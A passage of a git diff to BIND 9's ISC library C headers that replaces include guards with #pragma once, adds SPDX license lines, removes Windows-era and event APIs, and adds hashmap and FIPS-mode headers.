+ * \brief Get cryptographically-secure pseudo-random data.
+ */
+
+ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/errno.h b/lib/isc/include/isc/errno.h
index d0584561ec..0151df38ea 100644
--- a/lib/isc/include/isc/errno.h
+++ b/lib/isc/include/isc/errno.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_ERRNO_H
-#define ISC_ERRNO_H 1
+#pragma once
 
 /*! \file isc/file.h */
 
@@ -24,5 +25,3 @@ isc_errno_toresult(int err);
  * \brief Convert a POSIX errno value to an ISC result code.
  */
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_ERRNO_H */
diff --git a/lib/isc/include/isc/error.h b/lib/isc/include/isc/error.h
index 775a8dde8c..f4f668203f 100644
--- a/lib/isc/include/isc/error.h
+++ b/lib/isc/include/isc/error.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_ERROR_H
-#define ISC_ERROR_H 1
+#pragma once
 
 /*! \file isc/error.h */
 
@@ -19,12 +20,11 @@
 #include <isc/attributes.h>
 #include <isc/formatcheck.h>
 #include <isc/lang.h>
-#include <isc/likely.h>
-#include <isc/platform.h>
 
 ISC_LANG_BEGINDECLS
 
-typedef void (*isc_errorcallback_t)(const char *, int, const char *, va_list);
+typedef void (*isc_errorcallback_t)(const char *, int, const char *,
+				    const char *, va_list);
 
 /*% set unexpected error */
 void isc_error_setunexpected(isc_errorcallback_t);
@@ -34,21 +34,12 @@ void isc_error_setfatal(isc_errorcallback_t);
 
 /*% unexpected error */
 void
-isc_error_unexpected(const char *, int, const char *, ...)
-	ISC_FORMAT_PRINTF(3, 4);
+isc_error_unexpected(const char *, int, const char *, const char *, ...)
+	ISC_FORMAT_PRINTF(4, 5);
 
 /*% fatal error */
-ISC_NORETURN void
-isc_error_fatal(const char *, int, const char *, ...) ISC_FORMAT_PRINTF(3, 4);
-
-/*% runtimecheck error */
-ISC_NORETURN void
-isc_error_runtimecheck(const char *, int, const char *);
-
-#define ISC_ERROR_RUNTIMECHECK(cond) \
-	((void)(ISC_LIKELY(cond) ||  \
-		((isc_error_runtimecheck)(__FILE__, __LINE__, #cond), 0)))
+noreturn void
+isc_error_fatal(const char *, int, const char *, const char *, ...)
+	ISC_FORMAT_PRINTF(4, 5);
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_ERROR_H */
diff --git a/lib/isc/include/isc/event.h b/lib/isc/include/isc/event.h
deleted file mode 100644
index a28afbbaa5..0000000000
--- a/lib/isc/include/isc/event.h
+++ /dev/null
@@ -1,118 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef ISC_EVENT_H
-#define ISC_EVENT_H 1
-
-/*! \file isc/event.h */
-
-#include <isc/lang.h>
-#include <isc/types.h>
-
-/*****
-***** Events.
-*****/
-
-typedef void (*isc_eventdestructor_t)(isc_event_t *);
-
-#define ISC_EVENT_COMMON(ltype)               \
-	size_t		      ev_size;        \
-	unsigned int	      ev_attributes;  \
-	void *		      ev_tag;         \
-	isc_eventtype_t	      ev_type;        \
-	isc_taskaction_t      ev_action;      \
-	void *		      ev_arg;         \
-	void *		      ev_sender;      \
-	isc_eventdestructor_t ev_destroy;     \
-	void *		      ev_destroy_arg; \
-	ISC_LINK(ltype) ev_link;              \
-	ISC_LINK(ltype) ev_ratelink
-
-/*%
- * Attributes matching a mask of 0x000000ff are reserved for the task library's
- * definition.  Attributes of 0xffffff00 may be used by the application
- * or non-ISC libraries.
- */
-#define ISC_EVENTATTR_NOPURGE 0x00000001
-
-/*%
- * The ISC_EVENTATTR_CANCELED attribute is intended to indicate
- * that an event is delivered as a result of a canceled operation
- * rather than successful completion, by mutual agreement
- * between the sender and receiver.  It is not set or used by
- * the task system.
- */
-#define ISC_EVENTATTR_CANCELED 0x00000002
-
-#define ISC_EVENT_INIT(event, sz, at, ta, ty, ac, ar, sn, df, da) \
-	do {                                                      \
-		(event)->ev_size = (sz);                          \
-		(event)->ev_attributes = (at);                    \
-		(event)->ev_tag = (ta);                           \
-		(event)->ev_type = (ty);                          \
-		(event)->ev_action = (ac);                        \
-		(event)->ev_arg = (ar);                           \
-		(event)->ev_sender = (sn);                        \
-		(event)->ev_destroy = (df);                       \
-		(event)->ev_destroy_arg = (da);                   \
-		ISC_LINK_INIT((event), ev_link);                  \
-		ISC_LINK_INIT((event), ev_ratelink);              \
-	} while (0)
-
-/*%
- * This structure is public because "subclassing" it may be useful when
- * defining new event types.
- */
-struct isc_event {
-	ISC_EVENT_COMMON(struct isc_event);
-};
-
-#define ISC_EVENTTYPE_FIRSTEVENT 0x00000000
-#define ISC_EVENTTYPE_LASTEVENT	 0xffffffff
-
-#define ISC_EVENT_PTR(p) ((isc_event_t **)(void *)(p))
-
-ISC_LANG_BEGINDECLS
-
-isc_event_t *
-isc_event_allocate(isc_mem_t *mctx, void *sender, isc_eventtype_t type,
-		   isc_taskaction_t action, void *arg, size_t size);
-isc_event_t *
-isc_event_constallocate(isc_mem_t *mctx, void *sender, isc_eventtype_t type,
-			isc_taskaction_t action, const void *arg, size_t size);
-/*%<
- * Allocate an event structure.
- *
- * Allocate and initialize in a structure with initial elements
- * defined by:
- *
- * \code
- *	struct {
- *		ISC_EVENT_COMMON(struct isc_event);
- *		...
- *	};
- * \endcode
- *
- * Requires:
- *\li	'size' >= sizeof(struct isc_event)
- *\li	'action' to be non NULL
- *
- * Returns:
- *\li	a pointer to a initialized structure of the requested size.
- *\li	NULL if unable to allocate memory.
- */
-
-void
-isc_event_free(isc_event_t **);
-
-ISC_LANG_ENDDECLS
-
-#endif /* ISC_EVENT_H */
diff --git a/lib/isc/include/isc/eventclass.h b/lib/isc/include/isc/eventclass.h
deleted file mode 100644
index 694136cbbf..0000000000
--- a/lib/isc/include/isc/eventclass.h
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef ISC_EVENTCLASS_H
-#define ISC_EVENTCLASS_H 1
-
-/*! \file isc/eventclass.h
- ***** Registry of Predefined Event Type Classes
- *****/
-
-/*%
- * An event class is an unsigned 16 bit number.  Each class may contain up
- * to 65536 events.  An event type is formed by adding the event number
- * within the class to the class number.
- *
- */
-
-#define ISC_EVENTCLASS(eclass) ((eclass) << 16)
-
-/*@{*/
-/*!
- * Classes < 1024 are reserved for ISC use.
- * Event classes >= 1024 and <= 65535 are reserved for application use.
- */
-
-#define ISC_EVENTCLASS_TASK	   ISC_EVENTCLASS(0)
-#define ISC_EVENTCLASS_TIMER	   ISC_EVENTCLASS(1)
-#define ISC_EVENTCLASS_SOCKET	   ISC_EVENTCLASS(2)
-#define ISC_EVENTCLASS_FILE	   ISC_EVENTCLASS(3)
-#define ISC_EVENTCLASS_DNS	   ISC_EVENTCLASS(4)
-#define ISC_EVENTCLASS_APP	   ISC_EVENTCLASS(5)
-#define ISC_EVENTCLASS_OMAPI	   ISC_EVENTCLASS(6)
-#define ISC_EVENTCLASS_RATELIMITER ISC_EVENTCLASS(7)
-#define ISC_EVENTCLASS_ISCCC	   ISC_EVENTCLASS(8)
-#define ISC_EVENTCLASS_NS	   ISC_EVENTCLASS(9)
-/*@}*/
-
-#endif /* ISC_EVENTCLASS_H */
diff --git a/lib/isc/include/isc/file.h b/lib/isc/include/isc/file.h
index 88d9af4dc0..61365a32d2 100644
--- a/lib/isc/include/isc/file.h
+++ b/lib/isc/include/isc/file.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,16 +11,15 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_FILE_H
-#define ISC_FILE_H 1
+#pragma once
 
 /*! \file isc/file.h */
 
 #include <stdbool.h>
 #include <stdio.h>
+#include <sys/stat.h>
 
 #include <isc/lang.h>
-#include <isc/stat.h>
 #include <isc/types.h>
 
 ISC_LANG_BEGINDECLS
@@ -101,16 +102,8 @@ isc_result_t
 isc_file_openuniqueprivate(char *templet, FILE **fp);
 isc_result_t
 isc_file_openuniquemode(char *templet, int mode, FILE **fp);
-isc_result_t
-isc_file_bopenunique(char *templet, FILE **fp);
-isc_result_t
-isc_file_bopenuniqueprivate(char *templet, FILE **fp);
-isc_result_t
-isc_file_bopenuniquemode(char *templet, int mode, FILE **fp);
 /*!<
  * \brief Create and open a file with a unique name based on 'templet'.
- *	isc_file_bopen*() open the file in binary mode in Windows.
- *	isc_file_open*() open the file in text mode in Windows.
  *
  * Notes:
  *\li	'template' is a reserved work in C++.  If you want to complain
@@ -294,7 +287,7 @@ isc_file_absolutepath(const char *filename, char *path, size_t pathlen);
  */
 
 isc_result_t
-isc_file_truncate(const char *filename, isc_offset_t size);
+isc_file_truncate(const char *filename, off_t size);
 /*%<
  * Truncate/extend the file specified to 'size' bytes.
  */
@@ -311,8 +304,8 @@ isc_result_t
 isc_file_splitpath(isc_mem_t *mctx, const char *path, char **dirname,
 		   char const **basename);
 /*%<
- * Split a path into dirname and basename.  If 'path' contains no slash
- * (or, on windows, backslash), then '*dirname' is set to ".".
+ * Split a path into dirname and basename.  If 'path' contains no slash,
+ * then '*dirname' is set to ".".
  *
  * Allocates memory for '*dirname', which can be freed with isc_mem_free().
  *
@@ -342,22 +335,6 @@ isc_file_getsizefd(int fd, off_t *size);
  * - ISC_R_SUCCESS on success
  */
 
-void *
-isc_file_mmap(void *addr, size_t len, int prot, int flags, int fd,
-	      off_t offset);
-/*%<
- * Portable front-end to mmap().  If mmap() is not defined on this
- * platform, then we simulate it by calling malloc() and read().
- * (In this event, the addr, prot, and flags parameters are ignored).
- */
-
-int
-isc_file_munmap(void *addr, size_t len);
-/*%<
- * Portable front-end to munmap().  If munmap() is not defined on
- * this platform, then we simply free the memory.
- */
-
 isc_result_t
 isc_file_sanitize(const char *dir, const char *base, const char *ext,
 		  char *path, size_t length);
@@ -394,5 +371,3 @@ isc_file_isdirwritable(const char *path);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_FILE_H */
diff --git a/lib/isc/include/isc/fips.h b/lib/isc/include/isc/fips.h
new file mode 100644
index 0000000000..c75ac71361
--- /dev/null
+++ b/lib/isc/include/isc/fips.h
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+/*****
+***** Module Info
+*****/
+
+/***
+ *** Imports
+ ***/
+
+#include <isc/lang.h>
+#include <isc/types.h>
+
+ISC_LANG_BEGINDECLS
+
+/***
+ *** Functions
+ ***/
+
+bool
+isc_fips_mode(void);
+/*
+ * Return if FIPS mode is currently enabled or not
+ */
+
+isc_result_t
+isc_fips_set_mode(int mode);
+/*
+ * Enable FIPS mode.
+ */
+
+ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/formatcheck.h b/lib/isc/include/isc/formatcheck.h
index f1313d7238..e3a37b0970 100644
--- a/lib/isc/include/isc/formatcheck.h
+++ b/lib/isc/include/isc/formatcheck.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_FORMATCHECK_H
-#define ISC_FORMATCHECK_H 1
+#pragma once
 
 /*! \file isc/formatcheck.h */
 
@@ -30,5 +31,3 @@
 #else /* ifdef __GNUC__ */
 #define ISC_FORMAT_PRINTF(fmt, args)
 #endif /* ifdef __GNUC__ */
-
-#endif /* ISC_FORMATCHECK_H */
diff --git a/lib/isc/include/isc/fsaccess.h b/lib/isc/include/isc/fsaccess.h
deleted file mode 100644
index 3250799ffc..0000000000
--- a/lib/isc/include/isc/fsaccess.h
+++ /dev/null
@@ -1,172 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef ISC_FSACCESS_H
-#define ISC_FSACCESS_H 1
-
-/*! \file isc/fsaccess.h
- * \brief The ISC filesystem access module encapsulates the setting of file
- * and directory access permissions into one API that is meant to be
- * portable to multiple operating systems.
- *
- * The two primary operating system flavors that are initially accommodated
- * are POSIX and Windows NT 4.0 and later.  The Windows NT access model is
- * considerable more flexible than POSIX's model (as much as I am loathe to
- * admit it), and so the ISC API has a higher degree of complexity than would
- * be needed to simply address POSIX's needs.
- *
- * The full breadth of NT's flexibility is not available either, for the
- * present time.  Much of it is to provide compatibility with what Unix
- * programmers are expecting.  This is also due to not yet really needing all
- * of the functionality of an NT system (or, for that matter, a POSIX system)
- * in BIND9, and so resolving how to handle the various incompatibilities has
- * been a purely theoretical exercise with no operational experience to
- * indicate how flawed the thinking may be.
- *
- * Some of the more notable dumbing down of NT for this API includes:
- *
- *\li   Each of FILE_READ_DATA and FILE_READ_EA are set with #ISC_FSACCESS_READ.
- *
- * \li  All of FILE_WRITE_DATA, FILE_WRITE_EA and FILE_APPEND_DATA are
- *     set with #ISC_FSACCESS_WRITE.  FILE_WRITE_ATTRIBUTES is not set
- *     so as to be consistent with Unix, where only the owner of the file
- *     or the superuser can change the attributes/mode of a file.
- *
- * \li  Both of FILE_ADD_FILE and FILE_ADD_SUBDIRECTORY are set with
- *     #ISC_FSACCESS_CREATECHILD.  This is similar to setting the WRITE
- *     permission on a Unix directory.
- *
- * \li  SYNCHRONIZE is always set for files and directories, unless someone
- *     can give me a reason why this is a bad idea.
- *
- * \li  READ_CONTROL and FILE_READ_ATTRIBUTES are always set; this is
- *     consistent with Unix, where any file or directory can be stat()'d
- *     unless the directory path disallows complete access somewhere along
- *     the way.
- *
- * \li  WRITE_DAC is only set for the owner.  This too is consistent with
- *     Unix, and is tighter security than allowing anyone else to be
- *     able to set permissions.
- *
- * \li  DELETE is only set for the owner.  On Unix the ability to delete
- *     a file is controlled by the directory permissions, but it isn't
- *     currently clear to me what happens on NT if the directory has
- *     FILE_DELETE_CHILD set but a file within it does not have DELETE
- *     set.  Always setting DELETE on the file/directory for the owner
- *     gives maximum flexibility to the owner without exposing the
- *     file to deletion by others.
- *
- * \li  WRITE_OWNER is never set.  This too is consistent with Unix,
- *     and is also tighter security than allowing anyone to change the
- *     ownership of the file apart from the superu..ahem, Administrator.
- *
- * \li  Inheritance is set to NO_INHERITANCE.
- *
- * Unix's dumbing down includes:
- *
- * \li  The sticky bit cannot be set.
- *
- * \li  setuid and setgid cannot be set.
- *
- * \li  Only regular files and directories can be set.
- *
- * The rest of this comment discusses a few of the incompatibilities
- * between the two systems that need more thought if this API is to
- * be extended to accommodate them.
- *
- * The Windows standard access right "DELETE" doesn't have a direct
- * equivalent in the Unix world, so it isn't clear what should be done
- * with it.
- *
- * The Unix sticky bit is not supported.  While NT does have a concept
- * of allowing users to create files in a directory but not delete or
- * rename them, it does not have a concept of allowing them to be deleted
- * if they are owned by the user trying to delete/rename.  While it is
- * probable that something could be cobbled together in NT 5 with inheritance,
- * it can't really be done in NT 4 as a single property that you could
- * set on a directory.  You'd need to coordinate something with file creation
- * so that every file created had DELETE set for the owner but no one else.
- *
- * On Unix systems, setting #ISC_FSACCESS_LISTDIRECTORY sets READ.
- * ... setting either #ISC_FSACCESS_CREATECHILD or #ISC_FSACCESS_DELETECHILD
- *      sets WRITE.
- * ... setting #ISC_FSACCESS_ACCESSCHILD sets EXECUTE.
- *
- * On NT systems, setting #ISC_FSACCESS_LISTDIRECTORY sets FILE_LIST_DIRECTORY.
- * ... setting #ISC_FSACCESS_CREATECHILD sets FILE_CREATE_CHILD independently.
- * ... setting #ISC_FSACCESS_DELETECHILD sets FILE_DELETE_CHILD independently.
- * ... setting #ISC_FSACCESS_ACCESSCHILD sets FILE_TRAVERSE.
- *
- * Unresolved:							XXXDCL
- * \li  What NT access right controls the ability to rename a file?
- * \li  How does DELETE work?  If a directory has FILE_DELETE_CHILD but a
- *      file or directory within it does not have DELETE, is that file
- *	or directory deletable?
- * \li  To implement isc_fsaccess_get(), mapping an existing Unix permission
- * 	mode_t back to an isc_fsaccess_t is pretty trivial; however, mapping
- *	an NT DACL could be impossible to do in a responsible way.
- * \li  Similarly, trying to implement the functionality of being able to
- *	say "add group writability to whatever permissions already exist"
- *	could be tricky on NT because of the order-of-entry issue combined
- *	with possibly having one or more matching ACEs already explicitly
- *	granting or denying access.  Because this functionality is
- *	not yet needed by the ISC, no code has been written to try to
- * 	solve this problem.
- */
-
-#include <inttypes.h>
-
-#include <isc/lang.h>
-#include <isc/types.h>
-
-/*
- * Trustees.
- */
-#define ISC_FSACCESS_OWNER 0x1 /*%< User account. */
-#define ISC_FSACCESS_GROUP 0x2 /*%< Primary group owner. */
-#define ISC_FSACCESS_OTHER 0x4 /*%< Not the owner or the group owner. */
-#define ISC_FSACCESS_WORLD 0x7 /*%< User, Group, Other. */
-
-/*
- * Types of permission.
- */
-#define ISC_FSACCESS_READ	   0x00000001 /*%< File only. */
-#define ISC_FSACCESS_WRITE	   0x00000002 /*%< File only. */
-#define ISC_FSACCESS_EXECUTE	   0x00000004 /*%< File only. */
-#define ISC_FSACCESS_CREATECHILD   0x00000008 /*%< Dir only. */
-#define ISC_FSACCESS_DELETECHILD   0x00000010 /*%< Dir only. */
-#define ISC_FSACCESS_LISTDIRECTORY 0x00000020 /*%< Dir only. */
-#define ISC_FSACCESS_ACCESSCHILD   0x00000040 /*%< Dir only. */
-
-/*%
- * Adding any permission bits beyond 0x200 would mean typedef'ing
- * isc_fsaccess_t as uint64_t, and redefining this value to
- * reflect the new range of permission types, Probably to 21 for
- * maximum flexibility.  The number of bits has to accommodate all of
- * the permission types, and three full sets of them have to fit
- * within an isc_fsaccess_t.
- */
-#define ISC__FSACCESS_PERMISSIONBITS 10
-
-ISC_LANG_BEGINDECLS
-
-void
-isc_fsaccess_add(int trustee, int permission, isc_fsaccess_t *access);
-
-void
-isc_fsaccess_remove(int trustee, int permission, isc_fsaccess_t *access);
-
-isc_result_t
-isc_fsaccess_set(const char *path, isc_fsaccess_t access);
-
-ISC_LANG_ENDDECLS
-
-#endif /* ISC_FSACCESS_H */
diff --git a/lib/isc/include/isc/fuzz.h b/lib/isc/include/isc/fuzz.h
index a16845c65c..ce322ea8e0 100644
--- a/lib/isc/include/isc/fuzz.h
+++ b/lib/isc/include/isc/fuzz.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_FUZZ_H
-#define ISC_FUZZ_H
+#pragma once
 
 typedef enum {
 	isc_fuzz_none,
@@ -20,5 +21,3 @@ typedef enum {
 	isc_fuzz_http,
 	isc_fuzz_rndc
 } isc_fuzztype_t;
-
-#endif /* ISC_FUZZ_H */
diff --git a/lib/bind9/include/bind9/getaddresses.h b/lib/isc/include/isc/getaddresses.h
similarity index 75%
rename from lib/bind9/include/bind9/getaddresses.h
rename to lib/isc/include/isc/getaddresses.h
index fff7283993..00b405161b 100644
--- a/lib/bind9/include/bind9/getaddresses.h
+++ b/lib/isc/include/isc/getaddresses.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,10 +11,9 @@
  * information regarding copyright ownership.
  */
 
-#ifndef BIND9_GETADDRESSES_H
-#define BIND9_GETADDRESSES_H 1
+#pragma once
 
-/*! \file bind9/getaddresses.h */
+/*! \file isc/getaddresses.h */
 
 #include <isc/lang.h>
 #include <isc/net.h>
@@ -21,8 +22,8 @@
 ISC_LANG_BEGINDECLS
 
 isc_result_t
-bind9_getaddresses(const char *hostname, in_port_t port, isc_sockaddr_t *addrs,
-		   int addrsize, int *addrcount);
+isc_getaddresses(const char *hostname, in_port_t port, isc_sockaddr_t *addrs,
+		 int addrsize, int *addrcount);
 /*%<
  * Use the system resolver to get the addresses associated with a hostname.
  * If successful, the number of addresses found is returned in 'addrcount'.
@@ -30,8 +31,9 @@ bind9_getaddresses(const char *hostname, in_port_t port, isc_sockaddr_t *addrs,
  * seen, it is ignored.  If more than 'addrsize' addresses are seen, the
  * first 'addrsize' are returned and the remainder silently truncated.
  *
- * This routine may block.  If called by a program using the isc_app
- * framework, it should be surrounded by isc_app_block()/isc_app_unblock().
+ * This routine may block. If called by a program using the isc_loopmgr
+ * framework, it should be surrounded by isc_loopmgr_blocking() and
+ * isc_loopmgr_nonblocking().
  *
  *  Requires:
  *\li	'hostname' is not NULL.
@@ -48,5 +50,3 @@ bind9_getaddresses(const char *hostname, in_port_t port, isc_sockaddr_t *addrs,
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* BIND9_GETADDRESSES_H */
diff --git a/lib/isc/include/isc/glob.h b/lib/isc/include/isc/glob.h
deleted file mode 100644
index 56ecfdaf78..0000000000
--- a/lib/isc/include/isc/glob.h
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef ISC_GLOB_H
-#define ISC_GLOB_H
-
-#include <isc/lang.h>
-#include <isc/result.h>
-
-#if HAVE_GLOB_H
-#include <glob.h>
-#else
-#include <stddef.h>
-
-#include <isc/mem.h>
-
-typedef struct {
-	size_t	   gl_pathc;
-	char **	   gl_pathv;
-	isc_mem_t *mctx;
-	void *	   reserved;
-} glob_t;
-
-#endif
-
-ISC_LANG_BEGINDECLS
-
-isc_result_t
-isc_glob(const char *pattern, glob_t *pglob);
-
-void
-isc_globfree(glob_t *pglob);
-
-ISC_LANG_ENDDECLS
-
-#endif /* ISC_GLOB_H */
diff --git a/lib/isc/include/isc/hash.h b/lib/isc/include/isc/hash.h
index fcdbb3cc60..c3926157d0 100644
--- a/lib/isc/include/isc/hash.h
+++ b/lib/isc/include/isc/hash.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,14 +11,20 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_HASH_H
-#define ISC_HASH_H 1
+#pragma once
 
 #include <inttypes.h>
 #include <stdbool.h>
 
-#include "isc/lang.h"
-#include "isc/types.h"
+#include <isc/assertions.h>
+#include <isc/lang.h>
+#include <isc/types.h>
+#include <isc/util.h>
+
+#define ISC_HASHSIZE(bits)  (UINT64_C(1) << (bits))
+#define ISC_HASH_OVERCOMMIT 3
+#define ISC_HASH_MIN_BITS   2U
+#define ISC_HASH_MAX_BITS   32U
 
 /***
  *** Functions
@@ -59,6 +67,26 @@ isc_hash64(const void *data, const size_t length, const bool case_sensitive);
  * \li 32 or 64-bit hash value
  */
 
-ISC_LANG_ENDDECLS
+/*!
+ * \brief Return a hash value of a specified number of bits
+ *
+ * This function uses Fibonacci Hashing to convert a 32 bit hash value
+ * 'val' into a smaller hash value of up to 'bits' bits. This results
+ * in better hash table distribution than the use of modulo.
+ *
+ * Requires:
+ * \li 'bits' is less than 32.
+ *
+ * Returns:
+ * \li a hash value of length 'bits'.
+ */
+#define ISC_HASH_GOLDENRATIO_32 0x61C88647
 
-#endif /* ISC_HASH_H */
+static inline uint32_t
+isc_hash_bits32(uint32_t val, unsigned int bits) {
+	ISC_REQUIRE(bits <= ISC_HASH_MAX_BITS);
+	/* High bits are more random. */
+	return (val * ISC_HASH_GOLDENRATIO_32 >> (32 - bits));
+}
+
+ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/hashmap.h b/lib/isc/include/isc/hashmap.h
new file mode 100644
index 0000000000..8af0c6b7e3
--- /dev/null
+++ b/lib/isc/include/isc/hashmap.h
@@ -0,0 +1,198 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/* ! \file */
+
+#pragma once
+
+#include <inttypes.h>
+#include <string.h>
+
+#include <isc/result.h>
+#include <isc/types.h>
+
+typedef struct isc_hashmap	isc_hashmap_t;
+typedef struct isc_hashmap_iter isc_hashmap_iter_t;
+
+enum { ISC_HASHMAP_CASE_SENSITIVE = 0x00, ISC_HASHMAP_CASE_INSENSITIVE = 0x01 };
+
+/*%
+ * Create hashmap at *hashmapp, using memory context and size of (1<<bits)
+ *
+ * Requires:
+ * \li	'hashmapp' is not NULL and '*hashmapp' is NULL.
+ * \li	'mctx' is a valid memory context.
+ * \li	'bits' >=1 and 'bits' <=32
+ *
+ */
+void
+isc_hashmap_create(isc_mem_t *mctx, uint8_t bits, unsigned int options,
+		   isc_hashmap_t **hashmapp);
+
+/*%
+ * Destroy hashmap, freeing everything
+ *
+ * Requires:
+ * \li	'*hashmapp' is valid hashmap
+ */
+void
+isc_hashmap_destroy(isc_hashmap_t **hashmapp);
+
+/*%
+ * Return current hashed value for 'key' of size 'keysize';
+ */
+uint32_t
+isc_hashmap_hash(const isc_hashmap_t *hashmap, const void *key,
+		 uint32_t keysize);
+
+/*%
+ * Add a node to hashmap, pointed by binary key 'key' of size 'keysize';
+ * set its value to 'value'
+ *
+ * Requires:
+ * \li	'hashmap' is a valid hashmap
+ * \li	'hashval' is optional precomputed hash value of 'key'
+ * \li	'key' is non-null key of size 'keysize'
+ *
+ * Returns:
+ * \li	#ISC_R_EXISTS		-- node of the same key already exists
+ * \li	#ISC_R_SUCCESS		-- all is well.
+ */
+isc_result_t
+isc_hashmap_add(isc_hashmap_t *hashmap, const uint32_t *hashvalp,
+		const void *key, uint32_t keysize, void *value);
+
+/*%
+ * Find a node matching 'key'/'keysize' in hashmap 'hashmap';
+ * if found, set '*valuep' to its value. (If 'valuep' is NULL,
+ * then simply return SUCCESS or NOTFOUND to indicate whether the
+ * key exists in the hashmap.)
+ *
+ * Requires:
+ * \li	'hashmap' is a valid hashmap
+ * \li	'hashval' is optional precomputed hash value of 'key'
+ * \li	'key' is non-null key of size 'keysize'
+ *
+ * Returns:
+ * \li	#ISC_R_SUCCESS		-- success
+ * \li	#ISC_R_NOTFOUND		-- key not found
+ */
+isc_result_t
+isc_hashmap_find(const isc_hashmap_t *hashmap, const uint32_t *hashvalp,
+		 const void *key, uint32_t keysize, void **valuep);
+
+/*%
+ * Delete node from hashmap
+ *
+ * Requires:
+ * \li	'hashmap' is a valid hashmap
+ * \li	'hashval' is optional precomputed hash value of 'key'
+ * \li	'key' is non-null key of size 'keysize'
+ *
+ * Returns:
+ * \li	#ISC_R_NOTFOUND		-- key not found
+ * \li	#ISC_R_SUCCESS		-- all is well
+ */
